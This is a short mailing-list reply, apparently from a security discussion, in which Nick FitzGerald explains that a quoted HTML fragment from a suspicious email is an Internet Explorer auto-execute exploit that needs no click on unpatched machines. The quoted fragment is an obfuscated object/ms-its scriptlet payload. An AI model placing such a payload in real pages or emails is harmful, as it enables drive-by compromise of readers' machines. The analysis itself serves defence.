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From: nick at (Nick FitzGerald)
Subject: new email virus?

Charles Heselton wrote:

Sorry, missed this earlier...

> > [textarea id="code" style="display:none;"]
> >    [object
> > data="&#109;s-its:%6D%68%74%6D%6C:file://C:\drqwtt.mht!${PATH}/default.chm::
> > /default.htm" type="text/x-scriptlet"][/object]
> > [/textarea]
> Yeah, looks like a blended spam/malware/IE Redirect type exploit
> attempt.  If the recipient is dumb enough to click on the link they've
> just opened themselves to something "interesting".  ;)

Actually, no.

This is one of the many auto-execute exploits on unpatched machines and 
the nature of the above HTML is such that it does not also produce a 
clickable link.  The "dumbness" in any recipient affected by this would 
be that they were using an unpatched version of IE (or, had this 
arrived previous to MS shipping a patch -- it took quite some time for 
this one to get patched -- the "dumbness" would be that they used IE at 


Nick FitzGerald

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